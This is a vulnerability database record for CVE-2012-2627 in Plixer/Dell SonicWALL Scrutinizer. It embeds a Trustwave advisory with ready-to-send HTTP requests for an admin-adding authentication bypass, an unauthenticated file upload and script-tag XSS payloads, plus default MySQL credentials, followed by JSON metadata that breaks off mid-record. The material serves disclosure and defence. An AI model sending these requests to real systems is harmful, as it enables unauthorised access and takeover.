var-201207-0529
Vulnerability from variot
d4d/uploader.php in the web console in Plixer Scrutinizer (aka Dell SonicWALL Scrutinizer) before 9.5.0 allows remote attackers to create or overwrite arbitrary files in %PROGRAMFILES%\Scrutinizer\snmp\mibs\ via a multipart/form-data POST request. Scrutinizer is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input. An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. Scrutinizer 9.5.0 is vulnerable; other versions may also be affected. Dell SonicWALL Scrutinizer is a set of multi-vendor application communication analysis visualization and reporting tools developed by Dell. The tool provides features such as deep packet analysis, vibration/latency monitoring, and historical and proactive reporting. Trustwave SpiderLabs Security Advisory TWSL2012-014: Multiple Vulnerabilities in Scrutinizer NetFlow & sFlow Analyzer
Published: 07/27/12 Version: 1.0
Vendor: Plixer International (http://www.plixer.com) Product: Scrutinizer NetFlow and sFlow Analyzer Version affected: Confirmed 9.0.1 (Build 9.0.1.19899) and prior versions may be affected as well. Please note that the software can be found in a long list of other products. Visit http://www.plixer.com/Scrutinizer-Netflow-Sflow/scrutinizer.html for the partial list.
Product description: Network analysis tool for monitoring the overall network health and reports on which hosts, applications, protocols, etc. that are consuming network bandwidth.
Credits: Mario Ceballos of the Metasploit Project Jonathan Claudius of Trustwave Spiderlabs
Finding 1: HTTP Authentication Bypass Vulnerability CVE: CVE-2012-2626
The Scrutinizer web console provides a form-based login facility, requiring users to authenticate to gain access to further functionality. A tiered user access model is also used, where administrative and standard users have a different selection of permissible functions. Authentication and authorization is controlled by the cookie-based session management system. Although this is implemented in a standardized way, the session tokens are not required to perform privileged functions, such as adding users.
Example(s):
This request will add a user named "trustwave" with the password of "trustwave" to the administrative user group.
Request
POST /cgi-bin/admin.cgi HTTP/1.1 Host: A.B.C.D User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:11.0) Gecko/20100101 Firefox/11.0 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Content-Length: 70
tool=userprefs&newUser=trustwave&pwd=trustwave&selectedUserGroup=1
Response
HTTP/1.1 200 OK Date: Wed, 25 Apr 2012 17:52:15 GMT Server: Apache Vary: Accept-Encoding Content-Length: 19 Content-Type: text/html; charset=utf-8
{"new_user_id":"2"}
Finding 2: Arbitrary File Upload Vulnerability CVE: CVE-2012-2627
The Scrutinizer web console is prone to unauthenticated arbitrary file upload vulnerability.
Example(s):
This request will upload a test file to the following location:
'C:\Program Files (x86)\Scrutinizer\snmp\mibs\trustwave.txt'
Note: This affected folder also contains SNMP configuration files which could be overwritten if an attacker were to select the right file name.
Request
POST /d4d/uploader.php HTTP/1.0 Host: A.B.C.D User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Content-Type: multipart/form-data; boundary=_Part_949_3365333252_3066945593 Content-Length: 210
--_Part_949_3365333252_3066945593 Content-Disposition: form-data; name="uploadedfile"; filename="trustwave.txt" Content-Type: application/octet-stream
trustwave
--_Part_949_3365333252_3066945593--
Response
HTTP/1.1 200 OK Date: Wed, 25 Apr 2012 17:39:15 GMT Server: Apache X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-Length: 41 Connection: close Content-Type: text/html
{"success":1,"file_name":"trustwave.txt"}
Confirming on File System
C:>type "Program Files (x86)\Scrutinizer\snmp\mibs\trustwave.txt" trustwave
Finding 3: Multiple Cross-site Scripting Vulnerabilities in exporters.php and contextMenu.php CVE: CVE-2012-3848
The Scrutinizer web console suffers from multiple Cross Site Scripting vulnerabilities in the following pages:
1.) /d4d/contextMenu.php 2.) /d4d/exporters.php
These vulnerabilities include the following:
1.) XSS via arbitrary parameter 3.) XSS via referrer header
Example(s):
The following two examples will demonstrate the the above mentioned vulnerabilities on exporters.php
Request 1
GET /d4d/exporters.php?aalert(123)=1 HTTP/1.1 Host: A.B.C.D User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:12.0) Gecko/20100101 Firefox/12.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive
Response 1
/d4d/exporters.php?aalert(123)=1
Request 2
GET /d4d/exporters.php HTTP/1.1 Host: A.B.C.D Accept: / Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://D.E.F.G/search?hl=en&q=aalert(123)=1 Content-Length: 2
Response 2
http://D.E.F.G/search?hl=en&q=aalert(123)=1
Finding 4: Undocumented Default Admin MySQL Users CVE: CVE-2012-3951
The Scrutinizer application relies on an underlying Apache, MySQL and PHP installation which is installed as part of the scrutinizer installer package. The installation of these packages are transparent to the user during the Scrutinizer installation.
The installation selects default passwords for internal MySQL Users which are not configured by the user which could be easily guessed by an attacker. There is currently no way to change these values within the Scrutinizer application and changing them manually in the MySQL instance has unknown effects on the application due to hardcoded values for some of these accounts.
Example(s):
The following MySQL command can be run to see the users and their relative passwords:
Request
select User,Password from mysql.user;
Response
User |Password root | root | scrutinizer |4ACFE3202A5FF5CF467898FC58AAB1D615029441 scrutremote |4ACFE3202A5FF5CF467898FC58AAB1D615029441
Note 1: the above hash shared between the 'scrutinizer' and 'scrutremote' users is equivalent to 'admin'
Note 2: the 'scrutinizer' and 'scrutremote' users have select, update, delete, create, drop, and more permissions within the MySQL instance.
Note 3: By default, the MySQL instance is bound to "0.0.0.0", the equivalent of every network interface on the system allowing users with the proper access rights to interact directly with the MySQL instance.
Remediation Steps: Customers should update to the latest version of Scrutinizer NetFlow & sFlow Analyzer in order to address findings 1, 2 and 3. These issues have been corrected in version 9.5.0.
Revision History: 05/02/12 - Vulnerability disclosed 05/16/12 - Patch released by vendor 07/11/12 - Vendor publishes announcement 07/27/12 - Advisory published
References 1. http://www.plixer.com 2. http://blog.spiderlabs.com
About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com
About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs
Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201207-0529",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "scrutinizer",
"scope": "lt",
"trust": 1.0,
"vendor": "sonicwall",
"version": "9.5.0"
},
{
"model": "sonicwall scrutinizer",
"scope": "lt",
"trust": 0.8,
"vendor": "dell",
"version": "9.5.0"
},
{
"model": "sonicwall scrutinizer with flow analytics module",
"scope": "lt",
"trust": 0.8,
"vendor": "dell",
"version": "9.5.0"
},
{
"model": "scrutinizer",
"scope": "eq",
"trust": 0.6,
"vendor": "sonicwall",
"version": "9.0.0"
},
{
"model": "scrutinizer",
"scope": "eq",
"trust": 0.6,
"vendor": "sonicwall",
"version": "9.0.1"
},
{
"model": "scrutinizer",
"scope": "eq",
"trust": 0.6,
"vendor": "sonicwall",
"version": "8.6.2"
},
{
"model": "international scrutinizer",
"scope": "eq",
"trust": 0.3,
"vendor": "plixer",
"version": "9.0.1.19899"
}
],
"sources": [
{
"db": "BID",
"id": "54726"
},
{
"db": "JVNDB",
"id": "JVNDB-2012-003434"
},
{
"db": "CNNVD",
"id": "CNNVD-201207-593"
},
{
"db": "NVD",
"id": "CVE-2012-2627"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/a:dell:sonicwall_scrutinizer",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/a:dell:sonicwall_scrutinizer_with_flow_analytics_module",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2012-003434"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Mario Ceballos of the Metasploit Project and Jonathan Claudius of Trustwave Spiderlabs",
"sources": [
{
"db": "BID",
"id": "54726"
},
{
"db": "CNNVD",
"id": "CNNVD-201207-593"
}
],
"trust": 0.9
},
"cve": "CVE-2012-2627",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 9.4,
"confidentialityImpact": "NONE",
"exploitabilityScore": 10.0,
"id": "CVE-2012-2627",
"impactScore": 9.2,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.8,
"vectorString": "AV:N/AC:L/Au:N/C:N/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 9.4,
"confidentialityImpact": "NONE",
"exploitabilityScore": 10.0,
"id": "VHN-55908",
"impactScore": 9.2,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:N/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2012-2627",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2012-2627",
"trust": 0.8,
"value": "High"
},
{
"author": "CNNVD",
"id": "CNNVD-201207-593",
"trust": 0.6,
"value": "CRITICAL"
},
{
"author": "VULHUB",
"id": "VHN-55908",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-55908"
},
{
"db": "JVNDB",
"id": "JVNDB-2012-003434"
},
{
"db": "CNNVD",
"id": "CNNVD-201207-593"
},
{
"db": "NVD",
"id": "CVE-2012-2627"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "d4d/uploader.php in the web console in Plixer Scrutinizer (aka Dell SonicWALL Scrutinizer) before 9.5.0 allows remote attackers to create or overwrite arbitrary files in %PROGRAMFILES%\\Scrutinizer\\snmp\\mibs\\ via a multipart/form-data POST request. Scrutinizer is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input. \nAn attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. \nScrutinizer 9.5.0 is vulnerable; other versions may also be affected. Dell SonicWALL Scrutinizer is a set of multi-vendor application communication analysis visualization and reporting tools developed by Dell. The tool provides features such as deep packet analysis, vibration/latency monitoring, and historical and proactive reporting. Trustwave SpiderLabs Security Advisory TWSL2012-014:\nMultiple Vulnerabilities in Scrutinizer NetFlow \u0026 sFlow Analyzer\n\nPublished: 07/27/12\nVersion: 1.0\n\nVendor: Plixer International (http://www.plixer.com)\nProduct: Scrutinizer NetFlow and sFlow Analyzer\nVersion affected: Confirmed 9.0.1 (Build 9.0.1.19899) and prior versions\nmay be affected as well. Please note that the software can be found in a\nlong list of other products. Visit http://www.plixer.com/Scrutinizer-Netflow-Sflow/scrutinizer.html\nfor the partial list. \n\nProduct description:\nNetwork analysis tool for monitoring the overall network health and reports\non which hosts, applications, protocols, etc. that are consuming network\nbandwidth. \n\nCredits:\nMario Ceballos of the Metasploit Project\nJonathan Claudius of Trustwave Spiderlabs\n\nFinding 1: HTTP Authentication Bypass Vulnerability\nCVE: CVE-2012-2626\n\nThe Scrutinizer web console provides a form-based login facility, requiring\nusers to authenticate to gain access to further functionality. A tiered\nuser access model is also used, where administrative and standard users\nhave a different selection of permissible functions. Authentication and\nauthorization is controlled by the cookie-based session management system. \nAlthough this is implemented in a standardized way, the session tokens are\nnot required to perform privileged functions, such as adding users. \n\nExample(s):\n\nThis request will add a user named \"trustwave\" with the password of\n\"trustwave\" to the administrative user group. \n\n#Request\nPOST /cgi-bin/admin.cgi HTTP/1.1\nHost: A.B.C.D\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:11.0) Gecko/20100101 Firefox/11.0\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Language: en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nProxy-Connection: keep-alive\nContent-Length: 70\n\ntool=userprefs\u0026newUser=trustwave\u0026pwd=trustwave\u0026selectedUserGroup=1\n\n#Response\nHTTP/1.1 200 OK\nDate: Wed, 25 Apr 2012 17:52:15 GMT\nServer: Apache\nVary: Accept-Encoding\nContent-Length: 19\nContent-Type: text/html; charset=utf-8\n\n{\"new_user_id\":\"2\"}\n\n\nFinding 2: Arbitrary File Upload Vulnerability\nCVE: CVE-2012-2627\n\nThe Scrutinizer web console is prone to unauthenticated arbitrary file upload\nvulnerability. \n\nExample(s):\n\nThis request will upload a test file to the following location:\n\n\u0027C:\\Program Files (x86)\\Scrutinizer\\snmp\\mibs\\trustwave.txt\u0027\n\nNote: This affected folder also contains SNMP configuration files which could\nbe overwritten if an attacker were to select the right file name. \n\n#Request\nPOST /d4d/uploader.php HTTP/1.0\nHost: A.B.C.D\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\nContent-Type: multipart/form-data; boundary=_Part_949_3365333252_3066945593\nContent-Length: 210\n\n\n--_Part_949_3365333252_3066945593\nContent-Disposition: form-data;\nname=\"uploadedfile\"; filename=\"trustwave.txt\"\nContent-Type: application/octet-stream\n\ntrustwave\n\n--_Part_949_3365333252_3066945593--\n\n#Response\nHTTP/1.1 200 OK\nDate: Wed, 25 Apr 2012 17:39:15 GMT\nServer: Apache\nX-Powered-By: PHP/5.3.3\nVary: Accept-Encoding\nContent-Length: 41\nConnection: close\nContent-Type: text/html\n\n{\"success\":1,\"file_name\":\"trustwave.txt\"}\n\n#Confirming on File System\nC:\\\u003etype \"Program Files (x86)\\Scrutinizer\\snmp\\mibs\\trustwave.txt\"\ntrustwave\n\n\nFinding 3: Multiple Cross-site Scripting Vulnerabilities in exporters.php and contextMenu.php\nCVE: CVE-2012-3848\n\nThe Scrutinizer web console suffers from multiple Cross Site Scripting\nvulnerabilities in the following pages:\n\n1.) /d4d/contextMenu.php\n2.) /d4d/exporters.php\n\nThese vulnerabilities include the following:\n\n1.) XSS via arbitrary parameter\n3.) XSS via referrer header\n\nExample(s):\n\nThe following two examples will demonstrate the the above mentioned vulnerabilities on exporters.php\n\n#Request 1\nGET /d4d/exporters.php?a\u003cscript\u003ealert(123)\u003c/script\u003e=1 HTTP/1.1\nHost: A.B.C.D\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:12.0) Gecko/20100101 Firefox/12.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nProxy-Connection: keep-alive\n\n#Response 1\n\u003csnip\u003e\n\u003ca href=\"/d4d/exporters.php?a\u003cscript\u003ealert(1)\u003c/script\u003e=1\"\u003e/d4d/exporters.php?a\u003cscript\u003ealert(123)\u003c/script\u003e=1\u003c/a\u003e\u003c/td\u003e\u003c/tr\u003e\n\u003csnip\u003e\n\n#Request 2\nGET /d4d/exporters.php HTTP/1.1\nHost: A.B.C.D\nAccept: */*\nAccept-Language: en\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)\nConnection: close\nReferer: http://D.E.F.G/search?hl=en\u0026q=a\u003cscript\u003ealert(123)\u003c/script\u003e=1\nContent-Length: 2\n\n#Response 2\n\u003csnip\u003e\n\u003ca href=\"http://D.E.F.G/search?hl=en\u0026q=a\u003cscript\u003ealert(123)\u003c/script\u003e=1\"\u003ehttp://D.E.F.G/search?hl=en\u0026q=a\u003cscript\u003ealert(123)\u003c/script\u003e=1\u003c/a\u003e\n\u003csnip\u003e\n\nFinding 4: Undocumented Default Admin MySQL Users\nCVE: CVE-2012-3951\n\nThe Scrutinizer application relies on an underlying Apache, MySQL and PHP\ninstallation which is installed as part of the scrutinizer installer\npackage. The installation of these packages are transparent to the user\nduring the Scrutinizer installation. \n\nThe installation selects default passwords for internal MySQL Users which\nare not configured by the user which could be easily guessed by an\nattacker. There is currently no way to change these values within the\nScrutinizer application and changing them manually in the MySQL instance\nhas unknown effects on the application due to hardcoded values for some of\nthese accounts. \n\nExample(s):\n\nThe following MySQL command can be run to see the users and their relative\npasswords:\n\n#Request\nselect User,Password from mysql.user;\n\n#Response\nUser |Password\nroot |\nroot |\nscrutinizer |*4ACFE3202A5FF5CF467898FC58AAB1D615029441\nscrutremote |*4ACFE3202A5FF5CF467898FC58AAB1D615029441\n\nNote 1: the above hash shared between the \u0027scrutinizer\u0027 and \u0027scrutremote\u0027\nusers is equivalent to \u0027admin\u0027\n\nNote 2: the \u0027scrutinizer\u0027 and \u0027scrutremote\u0027 users have select, update,\ndelete, create, drop, and more permissions within the MySQL instance. \n\nNote 3: By default, the MySQL instance is bound to \"0.0.0.0\", the\nequivalent of every network interface on the system allowing users with the\nproper access rights to interact directly with the MySQL instance. \n\n\nRemediation Steps:\nCustomers should update to the latest version of Scrutinizer NetFlow \u0026\nsFlow Analyzer in order to address findings 1, 2 and 3. These issues have been\ncorrected in version 9.5.0. \n\nRevision History:\n05/02/12 - Vulnerability disclosed\n05/16/12 - Patch released by vendor\n07/11/12 - Vendor publishes announcement\n07/27/12 - Advisory published\n\nReferences\n1. http://www.plixer.com\n2. http://blog.spiderlabs.com\n\n\nAbout Trustwave:\nTrustwave is the leading provider of on-demand and subscription-based\ninformation security and payment card industry compliance management\nsolutions to businesses and government entities throughout the world. For\norganizations faced with today\u0027s challenging data security and compliance\nenvironment, Trustwave provides a unique approach with comprehensive\nsolutions that include its flagship TrustKeeper compliance management\nsoftware and other proprietary security solutions. Trustwave has helped\nthousands of organizations--ranging from Fortune 500 businesses and large\nfinancial institutions to small and medium-sized retailers--manage\ncompliance and secure their network infrastructure, data communications and\ncritical information assets. Trustwave is headquartered in Chicago with\noffices throughout North America, South America, Europe, Africa, China and\nAustralia. For more information, visit https://www.trustwave.com\n\nAbout Trustwave SpiderLabs:\nSpiderLabs(R) is the advanced security team at Trustwave focused on\napplication security, incident response, penetration testing, physical\nsecurity and security research. The team has performed over a thousand\nincident investigations, thousands of penetration tests and hundreds of\napplication security tests globally. In addition, the SpiderLabs Research\nteam provides intelligence through bleeding-edge research and proof of\nconcept tool development to enhance Trustwave\u0027s products and services. \nhttps://www.trustwave.com/spiderlabs\n\nDisclaimer:\nThe information provided in this advisory is provided \"as is\" without\nwarranty of any kind. Trustwave disclaims all warranties, either express or\nimplied, including the warranties of merchantability and fitness for a\nparticular purpose. In no event shall Trustwave or its suppliers be liable\nfor any damages whatsoever including direct, indirect, incidental,\nconsequential, loss of business profits or special damages, even if\nTrustwave or its suppliers have been advised of the possibility of such\ndamages. Some states do not allow the exclusion or limitation of liability\nfor consequential or incidental damages so the foregoing limitation may not\napply. \n\nThis transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format",
"sources": [
{
"db": "NVD",
"id": "CVE-2012-2627"
},
{
"db": "JVNDB",
"id": "JVNDB-2012-003434"
},
{
"db": "BID",
"id": "54726"
},
{
"db": "VULHUB",
"id": "VHN-55908"
},
{
"db": "PACKETSTORM",
"id": "115091"
}
],
"trust": 2.07
},
"exploit_availability": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"reference": "https://www.scap.org.cn/vuln/vhn-55908",
"trust": 0.1,
"type": "unknown"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-55908"
}
]
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2012-2627",
"trust": 2.9
},
{
"db": "BID",
"id": "54726",
"trust": 1.0
},
{
"db": "JVNDB",
"id": "JVNDB-2012-003434",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201207-593",
"trust": 0.7
},
{
"db": "EXPLOIT-DB",
"id": "37548",
"trust": 0.1
},
{
"db": "VULHUB",
"id": "VHN-55908",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "115091",
"trust": 0.1
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-55908"
},
{
"db": "BID",
"id": "54726"
},
{
"db": "JVNDB",
"id": "JVNDB-2012-003434"
},
{
"db": "PACKETSTORM",
"id": "115091"
},
{
"db": "CNNVD",
"id": "CNNVD-201207-593"
},
{
"db": "NVD",
"id": "CVE-2012-2627"
}
]
},
"id": "VAR-201207-0529",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VULHUB",
"id": "VHN-55908"
}
],
"trust": 0.01
},
"last_update_date": "2024-11-23T22:35:27.881000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Dell SonicWALL Scrutinizer",
"trust": 0.8,
"url": "http://www.dell.com/us/business/p/sonicwall-scrutinizer/pd"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2012-003434"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "NVD-CWE-Other",
"trust": 1.0
},
{
"problemtype": "CWE-Other",
"trust": 0.8
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2012-003434"
},
{
"db": "NVD",
"id": "CVE-2012-2627"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.5,
"url": "http://www.plixer.com/press-releases/plixer-releases-9-5-2.html"
},
{
"trust": 2.5,
"url": "https://www.trustwave.com/spiderlabs/advisories/twsl2012-014.txt"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2627"
},
{
"trust": 0.8,
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2012-2627"
},
{
"trust": 0.6,
"url": "http://www.securityfocus.com/bid/54726"
},
{
"trust": 0.4,
"url": "http://www.plixer.com"
},
{
"trust": 0.1,
"url": "http://d.e.f.g/search?hl=en\u0026q=a\u003cscript\u003ealert(123)\u003c/script\u003e=1\"\u003ehttp://d.e.f.g/search?hl=en\u0026q=a\u003cscript\u003ealert(123)\u003c/script\u003e=1\u003c/a\u003e"
},
{
"trust": 0.1,
"url": "http://blog.spiderlabs.com"
},
{
"trust": 0.1,
"url": "http://d.e.f.g/search?hl=en\u0026q=a\u003cscript\u003ealert(123)\u003c/script\u003e=1"
},
{
"trust": 0.1,
"url": "https://www.trustwave.com/spiderlabs"
},
{
"trust": 0.1,
"url": "http://www.plixer.com/scrutinizer-netflow-sflow/scrutinizer.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2012-3951"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2012-2626"
},
{
"trust": 0.1,
"url": "http://www.plixer.com)"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2012-3848"
},
{
"trust": 0.1,
"url": "https://www.trustwave.com"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2012-2627"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-55908"
},
{
"db": "BID",
"id": "54726"
},
{
"db": "JVNDB",
"id": "JVNDB-2012-003434"
},
{
"db": "PACKETSTORM",
"id": "115091"
},
{
"db": "CNNVD",
"id": "CNNVD-201207-593"
},
{
"db": "NVD",
"id": "CVE-2012-2627"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "VULHUB",
"id": "VHN-55908"
},
{
"db": "BID",
"id": "54726"
},
{
"db": "JVNDB",
"id": "JVNDB-2012-003434"
},
{
"db": "PACKETSTORM",
"id": "115091"
},
{
"db": "CNNVD",
"id": "CNNVD-201207-593"
},
{
"db": "NVD",
"id": "CVE-2012-2627"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2012-07-31T00:00:00",
"db": "VULHUB",
"id": "VHN-55908"
},
{
"date": "2012-07-30T00:00:00",
"db": "BID",
"id": "54726"
},
{
"date": "2012-08-01T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2012-003434"
},
{
"date": "2012-07-29T23:22:22",
"db": "PACKETSTORM",
"id": "115091"
},
{
"date": "2012-07-30T00:00:00",
"db": "CNNVD",
